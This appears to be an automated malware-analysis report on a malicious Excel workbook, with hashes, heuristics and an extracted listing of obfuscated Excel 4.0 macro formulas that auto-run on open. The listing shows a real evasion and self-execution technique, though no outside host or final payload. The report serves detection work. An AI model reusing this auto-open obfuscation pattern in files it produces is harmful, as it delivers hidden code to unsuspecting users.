Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c91a5496197be691…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:33:34 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: e8818870fb2abb09b906a3983ee72f3e SHA-1: 088a8cb9ee89bfd9b02e8e203093d54d06c2a1f3 SHA-256: c91a5496197be6910d4c8e4c1b7324cf5430c6cd965d302c05c7b06ddc81ff60
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6604 bytes
SHA-256: 1fc591e7231a70616b18e4e6da8df96f862b58bded5ceffaac1fd6be767299d1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WrQrneJcAo
' 0018     25 LABEL : Cell Value, String Constant - ABAgTKucmu len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G157 
' 0018     23 LABEL : Cell Value, String Constant - bMSiZinS len=0 
' 0018     25 LABEL : Cell Value, String Constant - coqjBlwwub len=0 
' 0018     21 LABEL : Cell Value, String Constant - DJKnGv len=0 
' 0018     27 LABEL : Cell Value, String Constant - HyscDmJPbcMb len=0 
' 0018     21 LABEL : Cell Value, String Constant - iMgzGF len=0 
' 0018     20 LABEL : Cell Value, String Constant - lLefj len=0 
' 0018     22 LABEL : Cell Value, String Constant - MKMTcbJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - mszVpnf len=0 
' 0018     24 LABEL : Cell Value, String Constant - pbCdmQFJu len=0 
' 0018     26 LABEL : Cell Value, String Constant - qdnaRgIeaMy len=0 
' 0018     22 LABEL : Cell Value, String Constant - RimYJTZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - rOHmjkmh len=0 
' 0018     24 LABEL : Cell Value, String Constant - swpPvWCll len=0 
' 0018     25 LABEL : Cell Value, String Constant - uLuRprowMZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - vbHTKvxsHx len=0 
' 0018     20 LABEL : Cell Value, String Constant - WhIdr len=0 
' 0018     20 LABEL : Cell Value, String Constant - WojtQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - wrLemgPjlpT len=0 
' 0018     22 LABEL : Cell Value, String Constant - zUVhBgh len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WrQrneJcAo,G64,"SET.NAME("coqjBlwwub",VALUE("0"))",""
'  WrQrneJcAo,G68,"SET.NAME("bMSiZinS",coqjBlwwub)",""
'  WrQrneJcAo,G70,"SET.NAME("WojtQ",coqjBlwwub)",""
'  WrQrneJcAo,G74,"SET.NAME("MKMTcbJ",COUNTA(uLuRprowMZ))",""
'  WrQrneJcAo,G78,"SET.NAME("rOHmjkmh",COUNTA(qdnaRgIeaMy))",""
'  WrQrneJcAo,G82,[],""
'  WrQrneJcAo,G87,"SET.NAME("swpPvWCll","")",""
'  WrQrneJcAo,G89,"bMSiZinS",""
'  WrQrneJcAo,G92,"SET.NAME("mszVpnf",HLOOKUP("*",uLuRprowMZ,bMSiZinS,FALSE))",""
'  WrQrneJcAo,G96,"iMgzGF",""
'  WrQrneJcAo,G98,"SET.NAME("pbCdmQFJu",coqjBlwwub)",""
'  WrQrneJcAo,G101,[],""
'  WrQrneJcAo,G105,"pbCdmQFJu",""
'  WrQrneJcAo,G109,"zUVhBgh",""
'  WrQrneJcAo,G114,"vbHTKvxsHx",""
'  WrQrneJcAo,G116,"wrLemgPjlpT",""
'  WrQrneJcAo,G119,"SET.NAME("WhIdr",VALUE(HLOOKUP("*",qdnaRgIeaMy,wrLemgPjlpT,FALSE)))",""
'  WrQrneJcAo,G122,"lLefj",""
'  WrQrneJcAo,G127,"swpPvWCll",""
'  WrQrneJcAo,G132,"WojtQ",""
'  WrQrneJcAo,G137,NEXT(),""
'  WrQrneJcAo,G142,"ABAgTKucmu",""
'  WrQrneJcAo,G144,"SET.NAME("f",INT(T(FORMULA(T(swpPvWCll)&"",""&T(ABAgTKucmu)))))",""
'  WrQrneJcAo,G149,"DJKnGv",""
'  WrQrneJcAo,G151,NEXT(),""
'  WrQrneJcAo,G154,RETURN(),""
'  WrQrneJcAo,G177,"SET.NAME("RimYJTZ",G64)",""
'  WrQrneJcAo,G181,"uLuRprowMZ",""
'  WrQrneJcAo,G186,"SET.NAME("qdnaRgIeaMy",R58C15)",""
'  WrQrneJcAo,G188,"SET.NAME("DJKnGv",193)",""
'  WrQrneJcAo,G190,"SET.NAME("HyscDmJPbcMb",7)",""
'  WrQrneJcAo,G192,RimYJTZ(),""
'  WrQrneJcAo,G193,HALT(),""